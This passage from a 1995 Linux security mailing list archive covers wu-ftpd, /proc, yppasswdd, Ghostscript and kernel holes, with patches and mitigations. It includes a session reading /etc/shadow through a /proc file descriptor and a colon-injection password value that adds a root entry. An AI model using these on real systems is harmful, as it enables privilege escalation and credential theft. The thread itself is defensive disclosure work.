-> [0000]:0 lrwx------ 1 marekm users 64 Jun 9 15:10 4 -> [0000]:0 lr-x------ 1 marekm users 64 Jun 9 15:10 5 -> [0301]:38392 lr-x------ 1 marekm users 64 Jun 9 15:10 6 -> [0301]:8567 lrwx------ 1 marekm users 64 Jun 9 15:10 7 -> [0301]:34549 lr-x------ 1 marekm users 64 Jun 9 15:10 8 -> [0301]:8569 lr-x------ 1 marekm users 64 Jun 9 15:10 9 -> [0301]:32007 marekm@i17linuxa:~$ ls -i /etc/shadow 32007 /etc/shadow marekm@i17linuxa:~$ cat /proc/15812/fd/9 [ snip - I don't want everyone to see my /etc/shadow :-) ] marekm@i17linuxa:~$ fg ftp -n localhost 221 Goodbye. marekm@i17linuxa:~$ exit Script done on Fri Jun 9 15:11:26 1995 OK, now for the fix: --- ftpd.c.orig Thu Jun 1 19:27:42 1995 +++ ftpd.c Fri Jun 9 14:50:46 1995 @@ -996,6 +996,7 @@ struct spwd *spw = getspnam( pw->pw_name ); if( !spw ) { pw->pw_passwd = ""; } else { pw->pw_passwd = spw->sp_pwdp; } + endspent(); } #endif Now /etc/shadow is correctly closed as soon as possible. The right fix is IMHO to do some more checks in the kernel to remove /proc holes, but I am not in a position to do it correctly... Linus, 1.2.10? :-) Regards, Marek Michalkiewicz linux-security/1995/linux-security.950612100664 1767 1767 13036 5767070342 17265 0ustar majdommajdomFrom [email protected] Mon Jun 12 12:52:41 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id MAA23270; Mon, 12 Jun 1995 12:41:05 -0400 Received: from soleil.uvsq.fr (soleil.uvsq.fr [193.51.24.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id RAA20428; Sun, 11 Jun 1995 17:12:19 -0400 Received: from (frmug@localhost) by soleil.uvsq.fr (8.6.10/jtpda-5.1) id RAA22684 for [email protected]; Sun, 11 Jun 1995 17:12:18 -0400 Received: from melchior.UUCP (uucp@localhost) by frmug.fr.net (8.6.8/8.6.9) with UUCP id QAA20094 for [email protected]; Sun, 11 Jun 1995 16:52:22 +0200 Received: by melchior.frmug.fr.net (Smail3.1.29.1 #5) id m0sKkyJ-0009oJC; Sun, 11 Jun 95 13:14 MET DST To: [email protected] Path: not-for-mail From: [email protected] (Thomas Quinot) Newsgroups: linux.security Subject: Re: Another problem with wu-ftpd (shadow) Date: 11 Jun 1995 11:14:26 GMT Organization: Cuivre, Argent, Or Lines: 20 Message-ID: <[email protected]> References: <[email protected]> NNTP-Posting-Host: melchior.frmug.fr.net X-Newsreader: TIN [UNIX 1.3 950427BETA PL0] Sender: [email protected] Precedence: list Marek Michalkiewicz �crit : > marekm@i17linuxa:~$ ps uwx > marekm 15812 2.0 7.1 157 500 con S 15:09 0:00 -localhost: marekm: IDLE > marekm 15816 0.0 3.1 64 224 pp4 R 15:10 0:00 ps uwx > marekm@i17linuxa:~$ ls -al /proc/15812/fd I cannot do that... (Permission denied) (Kernel is 1.2.9, vanilla as far as /proc is concerned.) > marekm@i17linuxa:~$ ls -i /etc/shadow > 32007 /etc/shadow > marekm@i17linuxa:~$ cat /proc/15812/fd/9 Even root gets nothing but a blank file here... Nevertheless I applied your patch. Thanks ! -- [email protected] | Linux : the choice of a GNU generation [Mod: Obviously there is some debate as to whether or how this hole works. Please check it out if you have a setup that might be vulnerable (i.e. you run both shadow and an "insecure" wu-ftpd binary) and then direct all further correspondence regarding this to the author of the post originally outlining the hole: Marek Michalkiewicz . I'd like to ask him to please summarize anything new that is uncovered. Thanks much! --Jeff.] From [email protected] Mon Jun 12 12:52:41 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id MAA23169; Mon, 12 Jun 1995 12:15:10 -0400 Received: from lcjones.aclib.siue.edu (lcjones.aclib.siue.edu [146.163.16.121]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id PAA02001; Wed, 7 Jun 1995 15:52:52 -0400 Received: (from labash@localhost) by lcjones.aclib.siue.edu (0.0.00/0.0.00) id OAA09654 for [email protected]; Wed, 7 Jun 1995 14:52:51 -0500 From: "Louis J. LaBash Jr." Message-Id: <[email protected]> Subject: wu.ftpd InfoMagic March 1995 Fix. To: [email protected] (linux-security) Date: Wed, 7 Jun 1995 14:52:50 +0100 (CDT) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2028 Sender: [email protected] Precedence: list Hi, The "wu-ftpd-2.4.diff.gz" patch-file produces a vulnerable "wu.ftpd" which allows anyone with an account on the machine to become root user. Solutions range from simple, disable "wu.ftpd"; to easy, recompile. The appended script, "wu-ftpd.sh", will accomplish the latter. ========================================================================= Instructions, *as root*, for InfoMagic's March 1995 4CD-set, assuming Disc 1 is mounted on "/cdrom". The initial "cd" is to "/usr/src", where the build will occur. Cut on '-' lines & save as wu-ftpd.sh; "chmod 700 wu-ftpd.sh"; "wu-ftpd.sh". ----------------------------wu-ftpd.sh----------------------------------- # wu-ftpd.sh (1), created 3JUN95 by Louis J. LaBash, Jr. # For InfoMagic's March 1995 4CD-set, Disc 1 mounted on "/cdrom"; # build will occur in "/usr/src/wu-ftpd-2.4". # Change in src/pathnames.h: (fixes security hole) # #define _PATH_EXECPATH from "/bin" to "/bin/ftp-exec" # References: # ftp://ftp.auscert.org.au/pub/auscert/advisory/ # AA-94.01.ftpd.Configuration.Advice -18APR94- # AA-95.04.wu-ftpd.misconfiguration.vulnerability -02JUN95- # wu-ftpd-2.4/INSTALL -01APR94- # /cdrom/Slackware_Source/n/tcpip/SlackBuild -02MAR95- cd /usr/src rm -rf wu-ftpd-2.4 tar xvzf /cdrom/Slackware_Source/n/tcpip/wu-ftpd-2.4.tar.gz cd wu-ftpd-2.4 zcat /cdrom/Slackware_Source/n/tcpip/wu-ftpd-2.4.diff.gz | patch mv src/pathnames.h src/pathnames.h-slack sed -e 's/_PATH_EXECPATH.*"\/bin"/_PATH_EXECPATH "\/bin\/ftp-exec"/' \ src/pathnames.h-slack >src/pathnames.h build lnx mv /usr/sbin/wu.ftpd /usr/sbin/wu.ftpd-slack install -m 755 -g bin -o root -s bin/ftpd /usr/sbin/wu.ftpd echo '*** Restart inetd process, or reboot! ***' # {[email protected] | [email protected] | [email protected]} ----------------------------wu-ftpd.sh----------------------------------- Hope this is of some utility. -- Louis-ljl-{[email protected] | [email protected]} [Mod: I am forwarding this script to the security list, but that does *not* imply that I have tested it (in fact I haven't). It looks OK to me, but that does not mean that I can attest to its correctness; standard disclaimers from the moderator(s) apply. --Jeff.] linux-security/1995/linux-security.950614100664 1767 1767 4053 5767671167 17262 0ustar majdommajdomFrom [email protected] Wed Jun 14 19:36:19 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA03056; Wed, 14 Jun 1995 19:14:24 -0400 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA01781; Wed, 14 Jun 1995 16:21:18 -0400 Received: from i17linuxb.ists.pwr.wroc.pl by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA27929; Wed, 14 Jun 95 16:21:04 EDT Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id VAA05040 for [email protected]; Wed, 14 Jun 1995 21:58:52 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: wu-ftpd and /proc again To: [email protected] Date: Wed, 14 Jun 1995 21:58:52 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1074 Sender: [email protected] Precedence: list Hi, so far I received mail from two people who confirm the wu-ftpd+shadow+/proc security hole, so that's not just me. This is a more general problem with /proc (not only with wu-ftpd) - interesting things under /proc/pid are owned by the euid (== the user logged in via ftp) of the process. My previous fix is not enough - one can still read /proc/pid/mem, and write to other files kept open by ftpd (like wtmp or xferlog). I reported this to Linus so it will hopefully be fixed soon. The proc(5) man page says (in the "BUGS" section): "The /proc file system totally destroys the security of your system. This needs fixing before 1.2" - hopefully we can fix it before 1,2,12 or so,,, The current kernel is 1.2.10 and it is still vulnerable. A quick fix is to create a new group "proc", add the following commands to your startup files after mounting /proc: chmod 550 /proc chown root.proc /proc Now make all commands which need /proc (ps, top, w, ...) setgid proc, and reboot. This seems to work, but is really only a temporary fix. Regards, Marek Michalkiewicz linux-security/1995/linux-security.950619100664 1767 1767 3240 5771333271 17246 0ustar majdommajdomFrom [email protected] Mon Jun 19 13:41:09 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA21309; Mon, 19 Jun 1995 13:12:07 -0400 Received: from dhp.com (dhp.com [204.171.33.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id CAA05460; Thu, 15 Jun 1995 02:54:32 -0400 Received: (from panzer@localhost) by dhp.com (8.6.12/8.6.9) id CAA05043; Thu, 15 Jun 1995 02:55:00 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Fragmentation Date: 15 Jun 1995 02:54:56 -0400 Organization: DataHaven Project +1 412 683 8582 Lines: 19 Message-ID: <[email protected]> X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Anyone know about linux's ip firewall ability concerning packet fragmentation. It's currently the "hot thing" as even cisco's are vulnerable (if you don't have current patch). My guess is that it shouldn't be as the firewall code should be called after all packets are reassembled, though I've learned to never assume things when it comes to security. Can either someone who has looked at the code (I haven't had a chance), or has written part of it comment? (ps, my I have a basic version of skey support integrated in the shadow3.3.2 system. This verion of skey is taken directly from log-daemon 4.9, and supports md4, md5, and also the skey.access file. If you are interested in helping test out this version, please email me.) -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." linux-security/1995/linux-security.950620100664 1767 1767 2643 5771664055 17253 0ustar majdommajdomFrom [email protected] Tue Jun 20 20:30:33 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id UAA27219; Tue, 20 Jun 1995 20:09:52 -0400 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id IAA24839; Tue, 20 Jun 1995 08:45:29 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Fragmentation To: [email protected] (Panzer Boy) Date: Tue, 20 Jun 1995 09:20:18 +0100 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Panzer Boy" at Jun 15, 95 02:54:56 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 641 Sender: [email protected] Precedence: list > Anyone know about linux's ip firewall ability concerning packet > fragmentation. It's currently the "hot thing" as even cisco's are > vulnerable (if you don't have current patch). Linux passes all but the first fragment. It could be extended to check all rules that dont require a port match on the scan. > My guess is that it shouldn't be as the firewall code should be called > after all packets are reassembled, though I've learned to never assume > things when it comes to security. Fragments can take different routes so if you have >1 gateway box you lose. This is why fragments are only assembled on the target host. Alan linux-security/1995/linux-security.950624100664 1767 1767 4266 5772772720 17262 0ustar majdommajdomFrom [email protected] Sat Jun 24 07:23:55 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id HAA02766; Sat, 24 Jun 1995 07:15:36 -0400 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA03462; Fri, 23 Jun 1995 16:23:38 -0400 Received: from brewhq.swb.de by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA18538; Fri, 23 Jun 95 16:23:31 EDT Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sPFFb-0005AxC; Fri, 23 Jun 95 22:22 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sPFS5-000Kj1C; Fri, 23 Jun 95 21:35 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Details on yppasswdd hole To: [email protected] Date: Fri, 23 Jun 1995 21:35:44 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1154 Sender: [email protected] Precedence: list Hi all, here's the details on the hole in my yppasswdd. The bug was stupid and simple; I forgot to check the user-supplied password for colons. This allows people to submit a password update with a password like this: :0:0:Big Boss:/:/tmp/foo This will turn their password entry into something like this: joe.user::0:0:Big Boss:/:/tmp/foo:Joe Random User:/home/joe:/bin/bash All they now have to do is to copy their favorite shell to /tmp/foo:Joe Random User:/home/joe:/bin/bash Note that all of these are valid filename characters. While fixing this, I noticed a second oversight, which may not be as bad, but may cause problems nevertheless: Users were able to set passwords for NIS entries like +janet or -joe if they were passwordless. Usually, entries like these should not occur in the NIS server's password file, and I do not believe they are acutally checked by any program. The new version checks for them anyway. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. linux-security/1995/linux-security.950625100664 1767 1767 2241 5773303114 17236 0ustar majdommajdomFrom [email protected] Sun Jun 25 11:52:40 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA07470; Sun, 25 Jun 1995 11:39:56 -0400 Received: from eskimo.com ([email protected] [204.122.16.13]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id KAA25171; Tue, 20 Jun 1995 10:42:13 -0400 Received: by eskimo.com (5.65c/1.35) id AA06440; Tue, 20 Jun 1995 07:42:12 -0700 Date: Tue, 20 Jun 1995 07:42:12 -0700 From: [email protected] (Daniel Pewzner) Message-Id: <[email protected]> To: [email protected] Subject: running w/o proc fs? Status: RO Sender: [email protected] Precedence: list [mod: Please send any replies to Daniel directly. Daniel, could you post a summary to the list, please? --okir] I have attempted to run w/o the proc fs, but am unable to get the basic networking utils w/o proc support. Is anyone aware of where I can find /proc-less netstat, route, arp, etc... Or might be able to point me in the direction of some code I can easily transplant? I'm not much when it comes to programming, but I dabble. Thanks! Daniel Pewzner [email protected] linux-security/1995/linux-security.950626100664 1767 1767 2700 5773637360 17254 0ustar majdommajdomFrom [email protected] Mon Jun 26 19:12:42 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA01307; Mon, 26 Jun 1995 18:24:31 -0400 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA00117; Mon, 26 Jun 1995 13:29:47 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id TAA15690; Mon, 26 Jun 1995 19:19:07 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: running w/o proc fs? To: [email protected] (Daniel Pewzner) Date: Mon, 26 Jun 1995 19:19:05 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "Daniel Pewzner" at Jun 20, 95 07:42:12 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 448 Sender: [email protected] Precedence: list Hi, it shouldn't be necessary to run the system without the /proc filesystem. Please try my kernel patch which should hopefully fix the problem. The patch is against 1.2.10 and I've sent it to Linus, but I don't know when 1.2.11 will be released... In the meantime, try ftp://ftp.ists.pwr.wroc.pl/pub/linux/kernel/patches/secure_proc_v2.gz Please test this and tell me if you see any problems or remaining holes. Regards, Marek Michalkiewicz linux-security/1995/linux-security.950703100664 1767 1767 5770 5776100406 17247 0ustar majdommajdomFrom [email protected] Mon Jul 3 19:44:56 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA09606; Mon, 3 Jul 1995 19:14:27 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA09115; Mon, 3 Jul 1995 17:58:11 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sStUs-0005ApC; Mon, 3 Jul 95 23:57 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sSnyv-00000bC; Mon, 3 Jul 95 18:04 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Hacking a site with Postscript To: [email protected] Date: Mon, 3 Jul 1995 18:04:20 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2095 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, The following should concern all you web users out there: Starting with Level 2, Postscript implements a number of file operators that allow you to read and write arbitrary files. Newer versions of ghostscript implement these operators. (I checked 2.6.1, and it does. I don't know about 2.5 and earlier, though). To round off the picture, it also features a non-standard operator named getenv to read things like your HOME directory from your environment. This can be exploited to open up your system by writing to your .rhosts file. While this is not so dangerous with postscript files distributed via FTP, MIME-aware WWW clients make planting these traps on the Web all too easy. Needless to say, you can configure your HTTP daemon to log all accesses, so tracking the downloaders of this infected PS file is simple. While ghostscript itself has a switch to disable file writing (command- line option -dSAFER), this is not enabled by ghostview 1.4 per default. On the other hand, ghostview 1.5 turns this on by default (and has its own pair of commandline options to toggle this behavior). To be safe from this type of attack, make sure you run ghostview 1.5. Also make sure that the -safer option is not being turned off in the resource file (the resource name is *safer). There is now also a bulletin by DFNCERT, the German branch of CERT. If there's any interest in this, and if I find the time, I may send out a translation to linux-security. We will also release a somewhat briefer description of this hole to linux-alert. Olaf - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCUAgUBL/gU9uFnVHXv40etAQHO1AP4gd25k2jYwt6IyuuptO0D8afZC9CfGeT4 u9PpyED/99QVJjw/NXIslsS76abC+7nL+mI0tgwgjqW7KaXUqUIpYMP+FYozwhlX QUfaPlMHag0+VFr3xrL555Il4Appf4Ccu52COwp8u+2wtTq/66H8p+2MSzW4GQx1 ZwftvSgdWQ== =uLnh -----END PGP SIGNATURE----- linux-security/1995/linux-security.950704100664 1767 1767 10514 5776202205 17260 0ustar majdommajdomFrom [email protected] Tue Jul 4 03:14:31 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id DAA13390; Tue, 4 Jul 1995 03:07:16 -0400 Received: from aurora.carleton.ca ([email protected] [134.117.55.74]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id SAA09490; Mon, 3 Jul 1995 18:40:24 -0400 Received: (from robert@localhost) by aurora.carleton.ca (8.6.12/8.6.9) id SAA02385; Mon, 3 Jul 1995 18:41:22 -0400 Date: Mon, 3 Jul 1995 18:41:21 -0400 (EDT) From: Rob Hardy To: [email protected] Subject: Secure Distributed Password System? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I'm trying to get a secure distributed password system going under linux. >From the sounds of it I believe I'm after something like NIS+. But as far as I know this isn't available. Security Concerns: packet sniffing clients can't be trusted with whole password file clients are booting via bootp clients are diskless Basically I want the security that shadow gives over the net. Is this possible with linux currently and does anyone know how do I do it? -- ----------------------------------------------------------------------- Robert Hardy Home: (613)226-2326|System Administrator BNR Software Designer: [email protected] (613)763-6106| Systems Consultant Aurora Project Director: [email protected]| Network Consultant "Linux the Choice of a GNU Generation!" | Web Consultant From [email protected] Tue Jul 4 05:06:07 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA14117; Tue, 4 Jul 1995 04:59:18 -0400 Received: from procert.cert.dfn.de ([email protected] [134.100.14.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id CAA13048; Tue, 4 Jul 1995 02:12:38 -0400 Received: from tiger.cert.dfn.de ([email protected] [134.100.14.11]) by procert.cert.dfn.de (8.6.10/8.6.10) with ESMTP id IAA14817; Tue, 4 Jul 1995 08:12:29 +0200 From: Wolfgang Ley Received: (ley@localhost) by tiger.cert.dfn.de (8.6.10/8.6.10) id IAA01196; Tue, 4 Jul 1995 08:12:59 +0200 Message-Id: <[email protected]> Subject: Re: Hacking a site with Postscript To: [email protected] Date: Tue, 4 Jul 1995 08:12:58 +0200 (MET DST) Cc: [email protected] (Olaf Kirch) In-Reply-To: from "Olaf Kirch" at Jul 3, 95 06:04:20 pm Organization: DFN-CERT (Computer Emergency Response Team, Germany) Content-Type: text Content-Length: 1600 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Olaf Kirch wrote: [...] > There is now also a bulletin by DFNCERT, the German branch of CERT. > If there's any interest in this, and if I find the time, I may send out > a translation to linux-security. Argh. The DFN-CERT is *not* the "German branch of CERT". The DFN-CERT is an independent Computer Emergency Response Team for the german research network (DFN). We are a member of FIRST (Forum of Incident Rsponse and Security Teams) are are working together with other teams around the world. Other teams are using the DFN-CERT as a contact-point in Germany to inform us about attacks to or from german sites. Of course we are also working together with the CERT/CC ([email protected]) in some issues - but we are *not* the "german part of them". For information on FIRST try http://www.first.org/first/ To get more information about the DFN-CERT see http://www.cert.dfn.de/eng/ Bye, Wolfgang Ley (DFN-CERT) - -- - ---------------------------------------------------------------------- Wolfgang Ley, DFN-CERT, Vogt-Koelln-Str. 30, 22527 Hamburg, Germany Email: [email protected] Phone: +49 40 54715-262 Fax: +49 40 54715-241 PGP-Key available via finger [email protected] any key-server or via WWW from http://www.cert.dfn.de/~ley/ ...have a nice day -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBL/jb1AQmfXmOCknRAQFxewQAusAuAAoTJXt1SfJVwxxCfeFXMOYAxURl O3oT4aNxcnvZB7jTMyIFSmAiCK8sXenJsioVCg7sN7v3xOdjoEsZTEez//r0sTkY 9jANd/jp3o6/QikBvs57O3Xf4ZFDH+Wq3X0S1VPLaG94Lc+aGj7oGWdl6nVcPuo7 kHXBGPtJ5hQ= =OUCQ -----END PGP SIGNATURE----- linux-security/1995/linux-security.950705100664 1767 1767 2577 5776536017 17266 0ustar majdommajdomFrom [email protected] Wed Jul 5 12:21:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA08672; Wed, 5 Jul 1995 11:57:19 -0400 Received: from iiit.swan.ac.uk ([email protected] [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id DAA07534; Wed, 5 Jul 1995 03:41:55 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Secure Distributed Password System? To: [email protected] (Rob Hardy) Date: Wed, 5 Jul 1995 08:32:13 +0100 (BST) Cc: [email protected] In-Reply-To: from "Rob Hardy" at Jul 3, 95 06:41:21 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 532 Sender: [email protected] Precedence: list > Security Concerns: > packet sniffing > clients can't be trusted with whole password file > clients are booting via bootp > clients are diskless > > Basically I want the security that shadow gives over the net. > > Is this possible with linux currently and does anyone know how do I do it? Kerberos - you've basically listed all the major points of it 8). In the USA it should be easy to get, in europe you'll need to build it from E-Bones and other encryptions (available), or get the US one via unofficial channels. Alan linux-security/1995/linux-security.950706100664 1767 1767 17376 5777122001 17273 0ustar majdommajdomFrom [email protected] Thu Jul 6 16:00:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA00516; Thu, 6 Jul 1995 15:44:15 -0400 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id LAA13625; Thu, 6 Jul 1995 11:10:07 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id RAA03215 for [email protected]; Thu, 6 Jul 1995 17:09:48 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Any user can send a SIGURG to any process To: [email protected] Date: Thu, 6 Jul 1995 17:09:47 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 974 Sender: [email protected] Precedence: list There is a security hole in the kernel (up to 1.2.11, probably 1.3.x too) - any user can send a SIGURG to any process. I wrote a program to exploit this - it wasn't really hard to write :) - but I'm not sure if it is OK to post it here... See below for a fix. Marek Michalkiewicz ---------- diff -urN v1.2.11/linux/net/inet/af_inet.c linux/net/inet/af_inet.c --- v1.2.11/linux/net/inet/af_inet.c Tue Jun 13 15:18:50 1995 +++ linux/net/inet/af_inet.c Wed Jul 5 16:00:19 1995 @@ -1260,6 +1260,7 @@ { struct sock *sk=(struct sock *)sock->data; int err; + int tmp; switch(cmd) { @@ -1268,7 +1269,11 @@ err=verify_area(VERIFY_READ,(int *)arg,sizeof(long)); if(err) return err; - sk->proc = get_fs_long((int *) arg); + tmp = get_fs_long((int *) arg); + /* see inet_fcntl */ + if (current->pid != tmp && current->pgrp != -tmp && !suser()) + return -EPERM; + sk->proc = tmp; return(0); case FIOGETOWN: case SIOCGPGRP: ---------- From [email protected] Thu Jul 6 16:00:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA00522; Thu, 6 Jul 1995 15:44:25 -0400 Received: from rottweiler.fiu.edu (ns.fiu.edu [131.94.128.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id KAA13501; Thu, 6 Jul 1995 10:54:20 -0400 Received: from dizzy.fiu.edu by rottweiler.fiu.edu; (5.65/1.1.8.2/26Aug94-0438PM) id AA30852; Thu, 6 Jul 1995 10:54:37 -0400 Received: from dizzy (localhost) by dizzy.fiu.edu (5.0/SMI-SVR4) id AA14425; Thu, 6 Jul 1995 10:54:18 -0400 Message-Id: <[email protected]> Date: Thu, 06 Jul 95 10:54:18 -0400 From: Konstantin Beznosov Organization: School Of Computer Science, Florida International University X-Mailer: Mozilla 1.1N (X11; I; SunOS 5.3 sun4m) Mime-Version: 1.0 To: [email protected], [email protected] Subject: +:*:0:0:::/bin/false does not work. Why? X-Url: http://www.sonic.net/hypermail/security/ Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Content-Length: 845 Sender: [email protected] Precedence: list I run Linux 1.2.3 slackware distribution. NIS (or NYS :) stuff comes with the distribution (n* diskets/subdirs). I found out that if I put a record +:*:0:0:::/bin/false in /etc/passwd to be able authorize users but do not allow them to log into the system ( i need it for some server authorization), it looks like the record does not work: The user can log in to the system and the fact that the user should have login shell /bin/false is ignored. Also, if i put something like "/dev/null" into homdir field, the field is ignored as well. The most interesting thing is that if I make light change and put any user: +userfoo:*:0:0:::/bin/false it works just fine: userfoo gets authorized but gets kicked out from the host. What can I do about it? Is it bug or I don't understand something in NIS/Linux? Answers will be appreciated. K From [email protected] Thu Jul 6 16:00:53 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA00511; Thu, 6 Jul 1995 15:44:10 -0400 Received: from bach.cis.temple.edu ([email protected] [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA09168; Wed, 5 Jul 1995 13:14:47 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id NAA05824; Wed, 5 Jul 1995 13:16:57 -0400 Date: Wed, 5 Jul 1995 13:16:57 -0400 (EDT) From: alex To: Alan Cox cc: Rob Hardy , [email protected] Subject: Re: Secure Distributed Password System? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 5 Jul 1995, Alan Cox wrote: > > Security Concerns: > > packet sniffing > > clients can't be trusted with whole password file > > clients are booting via bootp > > clients are diskless ^^^^^^^^^^^^^^^^^^^^^^^^^ > > Basically I want the security that shadow gives over the net. > > Is this possible with linux currently and does anyone know how do I do it? > > Kerberos - you've basically listed all the major points of it 8). Assuming that clients are diskless and/or there are Xterminals or just terminals attached to the network, I think that Kerberos is not a solution because: a) Bootp protocol is not kerberos aware i.e. it is a subject of spoofing b) Duing the login procedure packet sniffer will pickup a password Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= From [email protected] Thu Jul 6 23:03:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id WAA08819; Thu, 6 Jul 1995 22:49:27 -0400 Received: from mailhost.presence.co.uk ([email protected] [194.129.5.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id VAA08238; Thu, 6 Jul 1995 21:30:47 -0400 Received: from sid.presence.co.uk by mailhost.presence.co.uk with smtp (Linux Smail3.1.29.1 #3) id m0sU2qV-000i3KC; Fri, 7 Jul 95 03:08 BST Date: Fri, 7 Jul 1995 04:07:59 +0100 (BST) From: "Stephen C. Tweedie" Reply-To: Stephen Tweedie To: Konstantin Beznosov cc: [email protected], [email protected] Subject: Re: +:*:0:0:::/bin/false does not work. Why? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hi, On Thu, 6 Jul 1995, Konstantin Beznosov wrote: > I run Linux 1.2.3 slackware distribution. NIS (or NYS :) stuff comes with the > distribution (n* 